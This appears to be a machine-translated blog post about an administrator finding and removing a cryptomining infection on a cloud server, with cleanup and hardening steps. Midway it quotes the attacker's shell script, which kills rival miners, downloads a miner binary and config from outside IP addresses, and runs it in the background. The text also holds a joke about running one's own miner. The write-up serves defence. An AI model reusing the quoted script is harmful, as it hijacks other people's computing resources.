Author: my name is Liu Banxian
The online server uses a certain cloud, running the Tomcat, MySQL, MongoDB, ActiveMQ and other programs happily and perfectly. Suddenly a bad news came from the front: the website can't be accessed!
I am in charge of this project. I immediately opened the server at 150 + speed, saw Tomcat hung up, and then let it restart naturally. It was directly killed in the process of startup, and then tried the database, which was also unsuccessful
Repeated attempts or even rebooting of the machine failed. Witty, I hit top and the following appeared:
Who runs this program?
No matter if it's killed first, it's the culprit that programs like Tomcat can't start. However, there is no egg to use. After a while, I will see that thing and run out to occupy the cpu. Recommended reading: The most commonly used commands of Linux should be sorted out and collected.
Doubt is a scheduled task:
What the hell, a picture? Immediately visited:
It's embarrassing, but I knew it's not so simple. It must be just disguise. curl used to be the following script. The process is mining:
#!/bin/sh pkill -9 126.96.36.199 pkill -9 188.8.131.52 pkill -9 jva pkill -f ./atd pkill -f /tmp/wa/httpd.conf pkill -f 184.108.40.206 pkill -f 220.127.116.11 pkill -f 18.104.22.168 pkill -f 22.214.171.124 pkill -f 126.96.36.199 pkill -f 188.8.131.52 pkill -f AnXqV.yam pkill -f BI5zj pkill -f Carbon pkill -f Duck.sh pkill -f Guard.sh ...Middle ellipsis /sbin/sysctl -w vm.nr_hugepages=`$num` nohup ./suppoie -c config.json -t `echo $cores` >/dev/null & fi ps -fe|grep -w suppoie |grep -v grep if [ $? -eq 0 ] then pwd else curl -o /var/tmp/config.json http://184.108.40.206:8220/1.json curl -o /var/tmp/suppoie http://220.127.116.11:8220/rig1 chmod 777 /var/tmp/suppoie cd /var/tmp proc=`grep -c ^processor /proc/cpuinfo` cores=$((($proc+1)/2)) num=$(($cores*3)) /sbin/sysctl -w vm.nr_hugepages=`$num` nohup ./suppoie -c config.json -t `echo $cores` >/dev/null & sleep 3 fi if [ $? -eq 0 ] then pwd else curl -o /var/tmp/config.json http://18.104.22.168:8220/1.json curl -o /var/tmp/suppoie http://22.214.171.124:8220/rig2 chmod 777 /var/tmp/suppoie cd /var/tmp proc=`grep -c ^processor /proc/cpuinfo` cores=$((($proc+1)/2)) num=$(($cores*3)) /sbin/sysctl -w vm.nr_hugepages=`$num` nohup ./suppoie -c config.json -t `echo $cores` >/dev/null & fi echo "runing....."
Interested students want to view the above complete source code, and run the following commands on the command line (regardless of the operating system, convenient, safe and pollution-free):
Now that you know it's a scheduled task, cancel it and see who's running it:
Kill and find the storage directory:
Enter temporary directory:
I found the configuration file. Let's look at the content first:
Tiger body a shock, found a lot of information ah!
User is the login user of his server. The following is the password. Unfortunately, the password has been encrypted, and no one can be found. Forget it, I won't care about you first.
Take out these two files and check top:
terms of settlement
Find the parasitic directory, which is usually in tmp. This is in / var/tmp /. First, kill crontab, kill the process, and then delete the generated files. Start Tomcat and other programs, and it's a success!
Wait, it's not enough. Considering that your server has been hacked by hackers on the premise that it can be used for mining, it's right to fix the vulnerability
Otherwise, after you kill the process and delete the files, the hacker will come in the back door of history and know what kind of repair means you have done.
Therefore, the above method is not to cure the symptoms, and I have done the following work in the follow-up:
Upgrade all software to the new version
Modify all software default port numbers
Open ssh/authorized_keys, delete unknown keys
Delete unknown account in user list
Sealed his ip address
SSH uses the key to log in and forbids the password to log in (this is generally the secret key of a person with operation and maintenance)
By the way, this attack is due to the vulnerability of the lower version of ActiveMP open port 61616. You remember to optimize it.
Taoge provides the best way: mirror the host, find out the virus and Trojan horse, analyze the cause of invasion, check the business program, reinstall the system, fix the vulnerability, and then redeploy the system.
Write at the end
The ultimate solution offered by netizens once and for all: hang up your own mining script to run, so that others can't run even if they hang up the script.
Recommend to my blog to read more:
Feel good, don't forget to like + forward!